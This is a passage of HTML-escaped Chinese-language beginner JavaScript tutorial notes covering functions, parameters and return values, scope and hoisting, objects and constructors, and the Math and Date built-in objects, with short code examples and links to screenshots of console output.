&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;匿名函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用&lt;code&gt;function&lt;/code&gt;声明函数时，不赋予函数名，而是将其赋值给一个变量。常用于回调函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;变量 = function() { /* 代码 */ }&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var fn = function(){
    /* 代码 */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;调用函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;函数不调用，不会执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;函数名()&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function fn(){
    console.log(1 + 1)
}
// 调用函数
fn()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/8028279811-image-20221114163822943.png&quot; alt=&quot;image-20221114163822943&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;4.2 函数参数&lt;/h5&gt;
&lt;p&gt;可以利用函数的参数，实现函数代码功能相同，但执行结果不同。如：一个求和函数可以计算任意输入值。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;形参&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;声明函数时&lt;/strong&gt;，小括号里的n个逗号隔开的&lt;strong&gt;变量&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;是用来接收&lt;strong&gt;实参&lt;/strong&gt;的，类似函数内部声明了一个未赋值的变量，在调用时传入实参时，自动赋值。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;function 函数名(形参1, 形参2, ...)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 求和函数
function sum(num1,num2){
    console.log(num1 + num2)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;实参&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;调用函数时&lt;/strong&gt;，小括号里传入的 &lt;strong&gt;具体值&lt;/strong&gt; 或 &lt;strong&gt;已赋值的变量&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;函数名(值1，值2，...)&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 求和函数
function sum(num1, num2){
    console.log(num1 + num2)
}
// 函数调用
sum(1,1)
sum(123,-10)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/3048cf8cbb-image-20221114164030645.png&quot; alt=&quot;image-20221114164030645&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;4.3 函数return&lt;/h5&gt;
&lt;p&gt;调用函数后，可以获取到结果值。常用于一些高频复用的功能性函数，类似数学函数&lt;code&gt;y = x² + 10 &lt;/code&gt;，输入不同的&lt;code&gt;x&lt;/code&gt;可以获取到结果值&lt;code&gt;y&lt;/code&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;返回值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;在函数内部用&lt;code&gt;return&lt;/code&gt;关键字来返回一个结果，返回的值 就是 函数调用者获取到的值。&lt;code&gt;return&lt;/code&gt;后面也可以写一些简单的代码逻辑，如：简单的计算、调用别的函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;return 值(非必须)&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：如果调用了一个&lt;strong&gt;没有return&lt;/strong&gt;的函数，调用者获取的是&lt;code&gt;undefined&lt;/code&gt;值。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function 函数名(){
    return 需要返回的结果
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 求和函数（有返回值）
function sum(num1, num2){
    return num1 + num2
}
var sumResult = sum(123,33)
console.log(sumResult)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e0d4678b55-image-20221114164112595.png&quot; alt=&quot;image-20221114164112595&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;结束函数执行&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;return&lt;/code&gt; 后面的语句&lt;strong&gt;不会执行&lt;/strong&gt;，因此也常用于在分支语句中结束函数执行。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：如果有分支语句，一条支路上只能有一次return。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 开发中性别常用数字代替，写一个函数转化为对应中文
function transformSex(sexCode){
    if(sexCode == 0){
        return &quot;女&quot;
    }else if(sexCode == 1){
        return &quot;男&quot;
    }
    return &quot;未知&quot;
}

var man = transformSex(1)
var woman = transformSex(0)
var unknown = transformSex(3)
console.log(man)
console.log(woman)
console.log(unknown)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/a836095355-image-20221114164143604.png&quot; alt=&quot;image-20221114164143604&quot; style=&quot;zoom:80%;&quot; /&amp;gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;五、总结&lt;/h3&gt;
&lt;p&gt;这一小节，主要介绍了运算符、流程控制、数组、函数知识点。每一个知识点都是非常重要的，是大家再之后编写逻辑代码都会写到的，大家要对程序流程有深刻的了解。数组、函数是重点也是难点，其中数组会经常跟我们的for循环结合使用，大家需要清晰知道循环是在做什么，会有什么样的效果。函数主要更多是为了减少，我们去写重复的代码，减少代码的冗余。&lt;/p&gt;
&lt;h2&gt;JavaScript-03&lt;/h2&gt;
&lt;h3&gt;一、知识点&lt;/h3&gt;
&lt;p&gt;作用域、对象、内置对象&lt;/p&gt;
&lt;h3&gt;二、目标&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;清晰作用域&lt;/li&gt;
&lt;li&gt;理解什么是对象&lt;/li&gt;
&lt;li&gt;熟练使用内置对象的API&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;三、内容分析&lt;/h3&gt;
&lt;h4&gt;(一) 重点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;作用域&lt;/li&gt;
&lt;li&gt;对象&lt;/li&gt;
&lt;li&gt;内置对象&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 难点&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;对象&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;内置对象&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;四、内容&lt;/h3&gt;
&lt;h4&gt;(一) 作用域&lt;/h4&gt;
&lt;h5&gt;1.1 局部作用域&lt;/h5&gt;
&lt;p&gt;在&lt;code&gt;函数&lt;/code&gt;中声明的&lt;code&gt;变量&lt;/code&gt;或&lt;code&gt;函数&lt;/code&gt;，属于局部作用域。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：局部作用域内声明的变量、函数，仅能在该作用域内获取到。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;局部作用域内声明变量和函数，同时在两种作用域中访问。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function fn() {
    var str = &quot;局部作用域的字符串&quot;
    // 作用域内使用
    console.log(&quot;作用域外访问变量&quot;);
    console.log(str)
    var print = function () {
        console.log(&quot;局部作用域的函数&quot;)
    }
    console.log(&quot;作用域内使用函数&quot;);
    print()
}

fn()
// 作用域外使用
console.log(&quot;作用域外访问变量&quot;);
console.log(str)
console.log(&quot;作用域外调用函数&quot;);
print()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f513088710-topo-1698821028379113.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;1.2 全局作用域&lt;/h5&gt;
&lt;p&gt;在&lt;code&gt;&amp;lt;script&amp;gt; &amp;lt;/script&amp;gt;&lt;/code&gt;标签中或&lt;code&gt;.js&lt;/code&gt;文件中，声明的&lt;code&gt;变量&lt;/code&gt;或&lt;code&gt;函数&lt;/code&gt;，都属于全局作用域，能够在该作用域(声明后)的任意位置访问，包括局部作用域。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;
    // 声明变量
    var num = 10

    function fn() {
        console.log(&quot;局部作用域中访问&quot;,num)
    }
    // 全局作用域中访问全局变量
    console.log(&quot;全局作用域中&quot;,num)
    // 局部作用域中访问全局变量
    fn()
&amp;lt;/script&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/1d8da067ce-overallSituation-1698821032109115.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;1.3 预解析（变量提升）&lt;/h5&gt;
&lt;p&gt;在&lt;strong&gt;当前作用域&lt;/strong&gt;中，JavaScript代码执行之前，浏览器&lt;strong&gt;首先&lt;/strong&gt;会默认的把所有带&lt;strong&gt;var&lt;/strong&gt;和&lt;strong&gt;function&lt;/strong&gt;声明的变量/函数，进行提前的声明或者定义，但赋值过程还是按照代码的上下文顺序。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：在预解析时，变量只会声明，而函数既会声明也会定义。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例1&lt;/strong&gt;：变量声明前访问变量，是&lt;code&gt;undefined&lt;/code&gt;值。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;过程&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;变量声明提升&lt;/li&gt;
&lt;li&gt;输出num为&lt;code&gt;undefined&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;变量赋值&lt;/li&gt;
&lt;li&gt;输出num为&lt;code&gt;0&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;// 已经在该作用域内最开始先声明num了，所以输出undefined
console.log(&quot;变量提升&quot;,num)
var num = 0
console.log(&quot;声明后使用&quot;,num)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/38a2512ace-promote-1698821036470117.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;例2&lt;/strong&gt;：声明两个同名的变量和函数，对变量赋值，调用函数。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;过程&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;变量声明提升、函数声明并定义(先声明一个sum未赋值，再声明一个sum为函数)&lt;/li&gt;
&lt;li&gt;变量sum赋值&lt;/li&gt;
&lt;li&gt;输出sum&lt;/li&gt;
&lt;li&gt;调用sum（此时sum由于被赋值为0，不是个函数）&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;var sum = 0
function sum(){
    console.log(1 + 1)
}
console.log(sum)
sum()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/e1925433f8-promote2-1698821040127119.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;1.4 区别&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;全局变量&lt;/strong&gt;：在浏览器关闭时销毁，比较占内存。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;局部变量&lt;/strong&gt;：在程序运行完销毁，比较节约内存。&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(二) 对象&lt;/h4&gt;
&lt;h5&gt;2.1 什么是对象&lt;/h5&gt;
&lt;p&gt;​	万物皆对象，对象是一个具体事物，一组&lt;strong&gt;无序&lt;/strong&gt;的&lt;strong&gt;相关属性和方法&lt;/strong&gt;的集合，所有的事物都是对象。&lt;/p&gt;
&lt;p&gt;​	对象是由&lt;strong&gt;属性&lt;/strong&gt;和&lt;strong&gt;方法&lt;/strong&gt;组成的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;属性&lt;/strong&gt;：事物的特征。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;方法&lt;/strong&gt;：事物的行为。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.2 为什么使用对象？&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;保存一个值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用基础数据类型。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;保存多个值&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用数组。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;保存一个人的信息&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用对象，存储一些具有特征描述的数据，可以存放任何数据类型，如：姓名、年龄、身份证、学校...。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.3 创建对象&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;&lt;strong&gt;&lt;code&gt;new Object()&lt;/code&gt;&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;使用对顶级构造函数&lt;code&gt;Object()&lt;/code&gt;，使用&lt;code&gt;new&lt;/code&gt;关键字构造一个空对象。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 空对象
var obj = new Object()
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;字面量&lt;code&gt;{}&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;使用字面量&lt;code&gt;{}&lt;/code&gt;直接声明一个对象，同时可以写属性和方法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 空对象
var objEmpty = {}
// 有初值对象
var obj = {
    name: &quot;小明&quot;,
    age: 18,
    isRich: false,
    schoolInfo: {
        name:&quot;**学校&quot;,
        address:&quot;中国...&quot;
    },
    run: function(){
        console.log(&quot;快跑！&quot;)
    }
}
console.log(&quot;打印空对象&quot;,objEmpty);
console.log(&quot;打印有初值对象&quot;,obj);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/238764a710-object-1698821045465121.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;构造函数&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;构造函数是一种特殊的函数，用来初始化对象。它将一类具有共同特征的事物抽象成一个构造函数。&lt;/p&gt;
&lt;p&gt;为什么使用构造函数？因为上述两种方式都只能创建一个特定对象。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：Js中的函数比较特殊，既是函数也可以是构造函数，区分于函数内部代码的逻辑和调用方式。用作构造函数时，内部会有&lt;code&gt;this&lt;/code&gt;声明的&lt;strong&gt;属性&lt;/strong&gt;和&lt;strong&gt;方法&lt;/strong&gt;，并且为了更好区分，函数命名规范要求使用&lt;strong&gt;大写驼峰命名&lt;/strong&gt;（首单词首字母也大写）。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;构造函数模板&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：函数命名规范要求使用&lt;strong&gt;大写驼峰命名&lt;/strong&gt;（首单词首字母也大写）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;/* 构造函数名首单词大写 */
function 构造函数名(){
    this.属性 = 值
    this.方法 = function(形参1,...){
        return ...
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;创建对象&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;new 构造函数名()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：不需要return就可以返回结果；调用必须使用&lt;strong&gt;new&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;无参构造函数&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;/* 无参构造函数 */
function People() {
    this.name = null
    this.setName = function (name) {
        this.name = name
    }
    this.run = function () {
        console.log(&quot;溜了溜了...&quot;)
    }
}

// 创建几个对象
var p1 = new People()
p1.setName(&quot;张三&quot;)
var p2 = new People()
p2.setName(&quot;李四&quot;)

// 控制台输出
console.log(&quot;打印对象p1&quot;, p1);
console.log(&quot;打印对象p2&quot;, p2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/d71ce6a707-object3-1698821050835123.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;有参构造函数&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;/* 有参构造函数 */
function People(name){
    this.name = name
    this.run = function(){
        console.log(&quot;溜了溜了...&quot;)
    }
}

// 创建几个对象
var p1 = new People(&quot;张三&quot;)
var p2 = new People(&quot;李四&quot;)

// 控制台输出
console.log(&quot;打印对象p1&quot;, p1);
console.log(&quot;打印对象p2&quot;, p2);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/4b6a7450d9-object2-1698821054802125.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.4 访问属性/方法&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;.键名&lt;/code&gt;语法&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = { name: &quot;小明&quot;, run: function () { console.log(&quot;溜溜球&quot;) } }
// 访问属性
console.log(&quot;访问属性&quot;,obj.name)
// 调用方法
console.log(&quot;调用方法&quot;)
obj.run()
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;[键名]&lt;/code&gt;语法&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = {name:&quot;小明&quot;, run: function(){ console.log(&quot;溜溜球&quot;) }}
// 访问属性
console.log(obj[&quot;name&quot;])
// 调用方法
console.log(obj[&quot;name&quot;]())
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/94fda7ef62-object4-1698821059084127.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;2.5 修改属性&lt;/h5&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;对象.属性 = 值&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;对象[属性名] = 值&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;pre&gt;&lt;code&gt;    var obj = { name: &quot;小明&quot; }
    console.log(&quot;修改前&quot;,obj.name);
    // .语法
    obj.name = &quot;小红&quot;
    console.log(&quot;修改后&quot;,obj.name);
    // [] 语法
    obj[&quot;name&quot;] = &quot;小华&quot;
    console.log(&quot;再次修改后&quot;,obj.name);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/f5299be076-object5-1698821064130129.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h5&gt;2.6 遍历对象&lt;/h5&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;code&gt;for(key in 对象)&lt;/code&gt;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;利用&lt;code&gt;[键名]&lt;/code&gt;语法，访问对象。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;key&lt;/strong&gt;：遍历项的&lt;strong&gt;键名&lt;/strong&gt;（属性名）&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;for(变量 in 对象) {
    consoel.log(obj[变量])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;案例&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var obj = {name:&quot;小明&quot;,age:20}
for(key in obj) { 
    console.log(&quot;value:&quot;,obj[key])
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/ed20e6fae5-object6-1698821067339131.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;(三) 内置对象&lt;/h4&gt;
&lt;p&gt;​	JS语言自带的一种对象，供开发者使用，并提供一些常用的、基本的属性和方法，有利于帮助我们快速开发。如：Math、Date、Array、String等。&lt;/p&gt;
&lt;h5&gt;3.1 数学对象Math&lt;/h5&gt;
&lt;p&gt;不是构造函数，直接使用。https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;Math.方法()&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;PI：圆周率（这是个属性）&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;abs()：绝对值&lt;/h5&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;floor()：向下取整&lt;/h5&gt;
&lt;p&gt;若传入值有小数，直接舍去。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var num = Math.floor(1.1)
console.log(&quot;舍去小数部分&quot;,num)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/490079b185-built-in-1698821070953133.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;round()：四舍五入&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;var num = Math.round(1.1)
console.log(&quot;四舍五入&quot;,num)
var num = Math.round(2.6)
console.log(&quot;四舍五入&quot;,num)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/6e8ad3dea0-built-in2-1698821074054135.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;3.2 日期对象Date&lt;/h5&gt;
&lt;p&gt;是构造函数，需要使用&lt;code&gt;new&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;文档&lt;/strong&gt;：&lt;a href=&quot;https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Date&quot;&gt;Date - JavaScript | MDN &lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;形式&lt;/strong&gt;：&lt;code&gt;new Date().方法()&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;注意&lt;/strong&gt;：只能使用一个Date对象访问以下方法，并且在&lt;code&gt;new Date()&lt;/code&gt;时，已经获取了时间。如需获取实时时间，需要每次都&lt;code&gt;new Date()&lt;/code&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;获取当前时间对象&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;var date = new Date();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;获取指定时间对象&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// 使用字符串获取时间对象
var date = new Date(&quot;2022/02/22 22:22:22:222&quot;) // 2022年2月22日 22:22:22:222的一个时间对象
// 使用时间戳获取时间对象
var date = new Date(1666443020)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/2dd2eba67b-built-in-date-1698821077627137.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;h5&gt;getFullYear()：获取年份（4位数）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getFullYear() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/da56a8d7f3-built-in-date2-1698821083316139.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getMonth() ：获取月份（范围是&lt;code&gt;0 - 11&lt;/code&gt;）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getMonth() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/74a124d299-built-in-date3-1698821099093141.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getDate()：获取日期&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getDate() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://wangyi187.top/img/notes/web-06-web-frontend/6ec4b842a3-built-in-date4-1698821104531143.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;h5&gt;getDay()：获取星期（范围是&lt;code&gt;0-6&lt;/code&gt;）&lt;/h5&gt;
&lt;pre&gt;&lt;code&gt;console.log( new Date().getDay() )
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;效果&lt;/strong&gt;&lt;/p&gt;
